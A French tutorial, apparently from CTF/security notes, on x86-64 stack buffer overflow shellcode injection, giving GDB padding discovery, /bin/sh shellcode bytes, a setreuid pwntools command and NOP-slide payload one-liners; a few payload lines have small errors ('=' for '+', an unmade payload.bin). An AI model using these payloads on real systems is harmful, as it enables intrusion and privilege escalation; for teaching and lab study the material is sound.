Skip to main content

ShellCode Injection

Pour l'injection de shellcode, les étapes sont relativement similaires au détournement de fonction.

Pour récupérer l'accès à une fonction, il nous faut :

  • La taille du padding
  • La longueur de l'adresse à injecter
  • Un shellcode fonctionnel
  • L'adresse du padding

Récupérer la taille du padding

Dans GDB, pour récupérer la taille du padding, nous allons le chercher par "force brute" en s'aidant de python :

  • Si l'input est donné par un argument de la fonction : run $(python -c "print('A' * <taille>)")
  • Si l'input est donné dans l'exécution du programme : run < <(python -c "print('A' * <taille>)")

L'objectif est d'abord d'obtenir une erreur de segmentation Program received signal SIGSEGV, Segmentation fault.
Si la taille du buffer est connue, l'erreur de segmentation est généralement obtenue à la taille du buffer ou à taille +1.

Une fois le buffer rempli, nous devons réussir à écraser la mémoire de l'adresse retour.
Pour cela, nous allons chercher la taille du padding nécessaire pour écraser l'adresse mémoire.

[!NOTE] Généralement, l'adresse commence à être écrasée à buffer + 8

[!NOTE] S'il est possible de mettre un breakpoint (b <emplacement du bp>) avant la fin d'exécution de la fonction, il est possible d'inspecter directement l'adresse retour en exécutant x/xg $rbp+8

L'adresse retour est celle indiquée sous l'erreur de segmentation par GDB :

Program received signal SIGSEGV, Segmentation fault.
0x0000555555550a41 in ?? ()

L'objectif devient de trouver la taille maximale de l'adresse qu'il est possible de rentrer avant que l'adresse ne soit plus celle souhaitée.
Pour cela, nous incrémentons la taille du padding jusqu'à ce que l'adresse retour ne soit plus composée de 41 (si le padding est composé de A).

Trouver un shellcode

Pour trouver un shellcode fonctionnel, il est pertinent de connaître l'architecture du système hôte et le contexte de la fonction que nous hijackons.

ExploitDB propose par exemple ces deux ShellCode pour /bin/sh linux en x86/64 :

  • https://www.exploit-db.com/exploits/41750 : \xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05
  • https://www.exploit-db.com/exploits/42179 : \x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05

Toutefois, ces deux shellcodes ne fonctionneront pas toujours car ils ne disposent pas de fonction "retour". Ce shellcode fixe ce problème : \x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05 (40 chars)

Par ailleurs, certains BOF nécessitent d'exploiter un stickybit. Dans ce cas, il peut être nécessaire d'exploiter ce stickybit en générant un complément au shellcode : pwn shellcraft -f d amd64.linux.setreuid <UID> Il suffit de placer le shellcode généré devant le shellcode de notre /bin/sh.

Adresse du padding

Pour exécuter notre shellcode, nous allons créer un payload de la forme : <NOP slide> + <ShellCode> + <NOP slide> + <Address>
L'adresse en question devra pointer vers la NOP slide de départ pour conduire à l'exécution du shellcode. Pour cela, nous créons un premier payload pour déclencher l'overflow dans GDB de la forme : <Padding> + <ShellCode> + <Padding>

Une fois l'overflow déclanché, nous exécutons x/100x $rsp-200 pour trouver l'adresse de la NOP slide :

(gdb) x/100x $rsp-200
0x7fffffffe228:	0x00400450	0x00000000	0xffffe3e0	0x00007fff
0x7fffffffe238:	0x00400561	0x00000000	0xf7dce8c0	0x00007fff
0x7fffffffe248:	0xffffe64d	0x00007fff	0x41414141	0x41414141 <--- start of the buffer
0x7fffffffe258:	0x41414141	0x41414141	0x41414141	0x41414141
0x7fffffffe268:	0x41414141	0x41414141	0x41414141	0x41414141
0x7fffffffe278:	0x41414141	0x41414141	0x41414141	0x41414141
0x7fffffffe288:	0x41414141	0x41414141	0x41414141	0x41414141
0x7fffffffe298:	0x41414141	0x41414141	0x41414141	0x41414141
0x7fffffffe2a8:	0x41414141	0x41414141	0x41414141	0x48583b6a <--- start of the shellcode
0x7fffffffe2b8:	0xb849d231	0x69622f2f	0x68732f6e	0x08e8c149
0x7fffffffe2c8:	0x89485041	0x485752e7	0x050fe689	0x48583c6a
0x7fffffffe2d8:	0x050fff31	0x41414141	0x41414141	0x41414141
0x7fffffffe2e8:	0x42424242	0x00004242	0xffffe3e8	0x00007fff

Nous récupérons une adresse pointant vers la NOP slide (un des 0x41) en prenant en compte qu'il peut y avoir des légers décalages mémoire entre les exécutions. Par exemple 0x7fffffffe268.

Générer la charge

Nous générons ensuite notre payload : <NOP slide> + <ShellCode> + <NOP slide> + <Address> (eg: print(b'\x90'*90 + b'<shellcode>' + b'\x90'*13 = b'<address>'))

Exploit

L'étape précédente génère un fichier payload.bin qui contient notre payload pour l'overflow. Nous pouvons l'utiliser de la façon suivante :

  • Si l'input est donné par un argument de la fonction : ./<program> $(python -c "print(b'\x90'*90 + b'<shellcode>' + b'\x90'*13 = b'<address>')")
  • Si l'input est donné dans l'exécution du programme : python -c "print(b'\x90'*90 + b'<shellcode>' + b'\x90'*13 = b'<address>')" | ./<program>